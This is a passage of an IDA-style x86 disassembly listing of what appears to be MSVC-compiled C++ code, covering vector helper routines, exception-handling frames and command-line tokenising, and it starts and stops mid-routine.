		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+18h]
		mov	ecx, esi
		push	eax
		call	sub_4014D3
		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A4A0	proc near		; CODE XREF: sub_401E47j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013E3
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A4A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A4E0:				; CODE XREF: ___:0040194Cj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_402112
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A510	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A551
		mov	esi, [esp+44h+arg_0]
		push	offset byte_448F40
		mov	ecx, esi
		call	sub_401870
		jmp	loc_40A684
; ---------------------------------------------------------------------------


loc_40A551:				; CODE XREF: sub_40A510+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_40169A
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014DD
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A635
		push	ebx


loc_40A591:				; CODE XREF: sub_40A510+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A5A0


loc_40A597:				; CODE XREF: sub_40A510+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A597


loc_40A5A0:				; CODE XREF: sub_40A510+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A5AF
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A5AF:				; CODE XREF: sub_40A510+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401997
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A5FF
		test	cl, cl
		jz	short loc_40A5E7


loc_40A5CB:				; CODE XREF: sub_40A510+D5j
		cmp	cl, 22h
		jnz	short loc_40A5DC
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A5E7
		test	cl, cl
		jz	short loc_40A5E7


loc_40A5DC:				; CODE XREF: sub_40A510+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A5CB


loc_40A5E7:				; CODE XREF: sub_40A510+B9j
					; sub_40A510+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A62A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A62A
		add	eax, 2
		jmp	short loc_40A626
; ---------------------------------------------------------------------------


loc_40A5FF:				; CODE XREF: sub_40A510+B5j
		test	cl, cl
		jz	short loc_40A614
		mov	dl, [edi]


loc_40A605:				; CODE XREF: sub_40A510+102j
		cmp	cl, dl
		jz	short loc_40A614
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A605


loc_40A614:				; CODE XREF: sub_40A510+F1j
					; sub_40A510+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A62A
		cmp	cl, [edi]
		jnz	short loc_40A62A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A626:				; CODE XREF: sub_40A510+EDj
		mov	[esp+48h+var_3C], eax


loc_40A62A:				; CODE XREF: sub_40A510+DAj
					; sub_40A510+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A591
		pop	ebx


loc_40A635:				; CODE XREF: sub_40A510+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A64D
		push	offset byte_448F40
		jmp	short loc_40A65A
; ---------------------------------------------------------------------------


loc_40A64D:				; CODE XREF: sub_40A510+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F82
		mov	eax, [eax]
		push	eax


loc_40A65A:				; CODE XREF: sub_40A510+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401596
; ---------------------------------------------------------------------------


loc_40A684:				; CODE XREF: sub_40A510+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A510	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A710	proc near		; CODE XREF: sub_4016B8j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A710	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A750	proc near		; CODE XREF: sub_40202Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_40A750	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A780	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015E1
		retn	4
sub_40A780	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7A0	proc near		; CODE XREF: sub_401479j

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A7A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A7C0:				; CODE XREF: ___:004014A6j
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7E0	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A7E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A800	proc near		; CODE XREF: sub_4017EEj
		mov	eax, [ecx+9]
		retn
sub_40A800	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A820	proc near		; CODE XREF: sub_4014DDj
		mov	eax, [ecx+9]
		retn
sub_40A820	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A840	proc near		; CODE XREF: sub_40169Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A840	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A870	proc near		; CODE XREF: sub_401596j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
sub_40A870	endp

; ---------------------------------------------------------------------------
		xor	eax, eax


loc_40A898:				; DATA XREF: ___:00446544o
					; ___:00446588o ...
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8C0	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A8CA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A8CA:				; CODE XREF: sub_40A8C0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A8C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_401F82j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A908
		mov	ecx, esi
		call	sub_401F05


loc_40A908:				; CODE XREF: sub_40A8F0+Fj
		mov	ecx, esi
		call	sub_401D2F
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A8F0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A930	proc near		; CODE XREF: sub_401997j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401659
		push	eax
		mov	ecx, esi
		call	sub_4016F9
		pop	esi
		retn	4
sub_40A930	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A960	proc near		; CODE XREF: sub_401D2Fj
		mov	eax, [ecx+4]
		retn
sub_40A960	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A980	proc near		; CODE XREF: sub_401659j
		mov	eax, [ecx+8]
		retn
sub_40A980	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9A0	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D2F
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013D9
		mov	ecx, edi
		call	sub_401D2F
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A9A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9F0	proc near		; CODE XREF: sub_4019B5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40AA10


loc_40AA01:				; CODE XREF: sub_40A9F0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018C0
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40AA01


loc_40AA10:				; CODE XREF: sub_40A9F0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A9F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AA30:				; CODE XREF: sub_401F05j
		push	0FFFFFFFFh
		push	(offset	loc_439DB8+1)
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+14h]
		push	offset dword_440088
		push	edx
		call	sub_437B22
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AAB0	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40AAB0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AAD0	proc near		; CODE XREF: sub_4013D9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AB9B
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AB03
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AB05
; ---------------------------------------------------------------------------


loc_40AB03:				; CODE XREF: sub_40AAD0+26j
		mov	ebp, edi


loc_40AB05:				; CODE XREF: sub_40AAD0+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DE8
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402194
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB9B:				; CODE XREF: sub_40AAD0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40ABF9
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402194
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ABF9:				; CODE XREF: sub_40AAD0+D8j
		test	edi, edi
		jbe	short loc_40AC33
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020CC
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40AC33:				; CODE XREF: sub_40AAD0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40AAD0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACA0	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40ACA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACC0	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40ACF2
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40ACD6:				; CODE XREF: sub_40ACC0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_40213F
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40ACD6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ACF2:				; CODE XREF: sub_40ACC0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40ACC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD10	proc near		; CODE XREF: sub_402194j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40AD37
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40AD26:				; CODE XREF: sub_40AD10+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_40213F
		add	esi, 4
		dec	edi
		jnz	short loc_40AD26
		pop	esi
		pop	ebx


loc_40AD37:				; CODE XREF: sub_40AD10+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40AD10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AD50	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014D8
sub_40AD50	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401E01
		add	esp, 8
		retn	8
sub_40AD80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADB0	proc near		; CODE XREF: sub_401E8Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40ADCD
		mov	edx, [esp+arg_8]
		push	esi


loc_40ADC1:				; CODE XREF: sub_40ADB0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40ADC1
		pop	esi

locret_40ADCD:				; CODE XREF: sub_40ADB0+Aj
		retn
sub_40ADB0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADE0	proc near		; CODE XREF: sub_4020CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40AE02
		mov	eax, [esp+arg_8]
		push	esi


loc_40ADF1:				; CODE XREF: sub_40ADE0+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40ADF1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AE02:				; CODE XREF: sub_40ADE0+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40ADE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AE40	proc near		; CODE XREF: sub_4014D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40AE4A
		xor	eax, eax


loc_40AE4A:				; CODE XREF: sub_40AE40+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_40AE40	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE70	proc near		; CODE XREF: sub_401E01j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40AE8B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40AE8B:				; CODE XREF: sub_40AE70+11j
		retn
sub_40AE70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEA0	proc near		; CODE XREF: sub_401E88j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F014
		retn
sub_40AEA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AEC0:				; CODE XREF: ___:00401721j
					; ___:loc_402045j
		push	esi
		mov	esi, ecx
		call	sub_40204F
		test	byte ptr [esp+8], 1
		jz	short loc_40AED8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40AED8:				; CODE XREF: ___:0040AECDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEF0	proc near		; CODE XREF: sub_40204Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AEF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43F014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_40174E


loc_40AF21:				; DATA XREF: sub_40AF32o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AEF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF32	proc near		; DATA XREF: ___:004401C4o
		mov	eax, offset loc_40AF21
		retn
sub_40AF32	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF60	proc near		; CODE XREF: sub_4014C4j
		call	sub_401712
		jmp	sub_4017BC
sub_40AF60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF80	proc near		; CODE XREF: sub_401B2Cj
		call	sub_401627
		jmp	sub_4017CB
sub_40AF80	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AFA0	proc near		; CODE XREF: sub_4013DEj
		push	esi
		mov	esi, ecx
		push	esi
		push	offset sub_401429
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AFC2
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AFC2:				; CODE XREF: sub_40AFA0+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AFA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AFE0:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B007
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_401767
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40B007:				; CODE XREF: ___:0040AFE9j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B020	proc near		; CODE XREF: sub_40174Ej
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B03C
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401762
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40B03C:				; CODE XREF: sub_40B020+8j
		pop	esi
		retn
sub_40B020	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B050:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B070	proc near		; CODE XREF: sub_401429j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40B070
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]


loc_40B09E:				; DATA XREF: sub_40B0B1o
